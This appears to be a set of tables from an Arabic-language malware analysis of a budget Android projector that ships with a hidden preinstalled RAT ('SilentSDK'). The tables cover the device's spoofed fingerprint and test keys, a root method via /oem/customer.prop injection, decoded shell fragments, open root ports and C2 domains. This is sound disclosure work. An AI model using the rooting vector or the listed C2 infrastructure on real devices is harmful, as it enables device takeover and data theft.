| العلامة التجارية | Nonete HY260Pro (طراز تبيعه شركات متعددة) |
| اسم الطراز الداخلي | NT10 |
| SoC | Allwinner sun50iw12p1 (ARM 32-bit) |
| نظام التشغيل | SpectraOS (Android 11, Kernel 5.4.99) |
| بصمة البناء الحقيقية | Allwinner/h713_tuna_p3/h713-tuna_p3:11 |
| بصمة البناء المزيفة | ADT-3/adt3/adt3:11/RP1A.201005.006 |
| SELinux | Permissive (بدون تطبيق) |
| مفتاح توقيع المنصة | مفتاح اختبار AOSP عام |
| شهادة OEM | CN=蓝鲨, OU=www.bsh.me, C=CN |
| قناة البرامج الثابتة | HY260Pro_SpectraOS_TPYB |
| الخطوة | الإجراء | النتيجة |
|---|
| 1 | التقاط حركة مرور الشبكة باستخدام Wireshark | حركة HTTP إلى store-api.aodintech.com |
| 2 | فك ترميز استجابة C2 المضغوطة بـ gzip | 7 تطبيقات، بما في ذلك "SilentTools" المخفي |
| 3 | فك تشفير مسار التنزيل باستخدام AES-CBC | المفتاح [REDACTED]، رابط إلى ملف .bpp |
| 4 | استغلال الجذر عبر /oem/customer.prop | uid=0(root) بعد حقن الخاصية |
| 5 | تفريغ جنائي لـ /data، /oem، /system | ملفات APK، قواعد بيانات، تكوينات |
| 6 | تحليل ثابت لـ StoreOS DEX | pm install -r -d، حماية عكس البايت |
| 7 | هندسة عكسية لآلية reverseLen | فهم الحماية ضد التحليل |
| 8 | كسر حماية عكس البايت | SilentSDK DEX مفكوك وقابل للتحليل |
| 9 | فك تشفير سلاسل SilentSDK باستخدام XOR | تأكيد نطاق C2 api.pixelpioneerss.com |
| 10 | التحقق من التجزئة عبر ثلاثة مصادر | MD5/SHA-256 متطابقان تمامًا |
| 11 | هندسة عكسية لعملية تنزيل البرمجية الخبيثة | الخوادم لا تزال متصلة |
| 12 | هندسة عكسية للبرمجية الخبيثة | إطار عمل RAT قائم على الإضافات |
| التطبيق | الحزمة | isShow | isForce | isSilent Install | isSilent Uninstall | launch Type |
|---|
| YouTube | com.google.android.youtube.tv | true | false | false | false | 0 |
| Disney+ | com.disney.disneyplus | true | false | false | false | 0 |
| Netflix | com.netflix.mediaclient | true | false | false | false | 0 |
| Chrome | com.android.chrome | true | false | false | false | 0 |
| Prime Video | com.amazon.amazonvideo.livingroom | true | false | false | false | 0 |
| BrowseHere | com.tcl.browser | true | false | false | false | 0 |
| SilentTools | com.hotack.silentsdk | false | true | false | true | 1 |
| الاستدعاء المُعتم | النتيجة | الوظيفة |
|---|
m36g({-99,127,58,-103,...}, {-4,15,83,-73,...}) | api.pixelpioneerss.com | نطاق C2 |
m36g({7,-68}, {116,-44,...}) | sh | ملف شيل ثنائي لـ Runtime.exec() |
m36g({-83,-92,-19,...}, {-50,-52,...}) | chmod 777 | أمر شيل |
m36g({-47,-3,-68,106,-76}, {-1,-119,...}) | .temp | لاحقة ملف مؤقت للتحميلات |
m36g({125,61,58,...}, {21,73,78,...}) | https:// | البروتوكول الأساسي |
m36g({0,90,58,...}, {104,46,78,...}) | http:// | احتياطي عند خطأ SSL |
m36g({-22,78,57}, {-71,29,117,...}) | SSL | بروتوكول TLS |
m36g({-15}, {-112,...}) | a | اسم رأس مخصص ← قيمة 1003 |
m36g({17,67,42}, {124,39,...}) | md5 | MessageDigest.getInstance("md5") |
m36g({-15,90,-128,21}, {-122,51,...}) | wifi | getSystemService("wifi") |
m36g({-48,89,-25,-31,...}, {-73,60,...}) | getprop wifi.interface | احتياطي شيل: قراءة اسم الواجهة |
m36g({-95,-26,-107,-91,...}, {-62,-121,...}) | cat /sys/class/net/ | احتياطي شيل: قراءة MAC (بادئة) |
m36g({6,-88,45,-126,...}, {41,-55,...}) | /address | احتياطي شيل: قراءة MAC (لاحقة) |
m36g({10,39,105,25,...}, {58,21,...}) | 02:00:00:00:00:00 | قيمة MAC زائفة من أندرويد (API 23+) |
| المنفذ | UID | الوصف |
|---|
| 65528 | root (0) | برنامج su الخفي |
| 5555 | root (0) | ADB بدون مصادقة |
| 7889/7890 | system (1000) | خدمة غير معروفة |
| 10012/10013 | system (1000) | تصحيح المصنع؟ |
| الخادم | النقطة الطرفية | الوظيفة |
|---|
store-api.aodintech.com | POST /sign/app/list | توزيع التطبيقات |
sta.smartinnovate.net | GET /*.jar | توزيع الحمولة |
cdn-store.aodintech.com | GET /*.bpp | تنزيل APK |
event-api.aodintech.com | POST /report | القياس عن بعد |
api.pixelpioneerss.com | POST /(random) | SilentSDK RAT C2 |
bur.thedynamicleap.com | `POST (GZIP+AES)`` | تسريب القياس عن بعد لـ SilentSDK |
pb-api.aodintech.com | GET /api/collections/... | تكوين الإعلانات |
ota.triplesai.com:8080 | POST /V1/Ota/Check | تحديثات البرنامج الثابت |
api.ipdatacloud.com | GET /v2/query | تحديد الموقع الجغرافي IP |
euads-o.api.leiniao.com | — | خادم إعلانات ثانوي |
connect.rom.miui.com | — | القياس عن بعد لـ Xiaomi |
| القيمة المزيفة |
|---|
| القيمة الحقيقية |
|---|
ro.build.fingerprint | ADT-3/adt3/adt3:11 | — |
ro.product.build.* | — | Allwinner/h713_tuna_p3 |
| تاريخ البناء | — | Tue Apr 22 15:20 CST 2025 |
| SHA-256 |
|---|
| استجابة خادم C2 | 5df097591d694... | — |
| APK الذي فككنا تشفيره | 5df097591d694... | e5a193c31526a... |
| تحليل خارجي | — | e5a193c31526a... |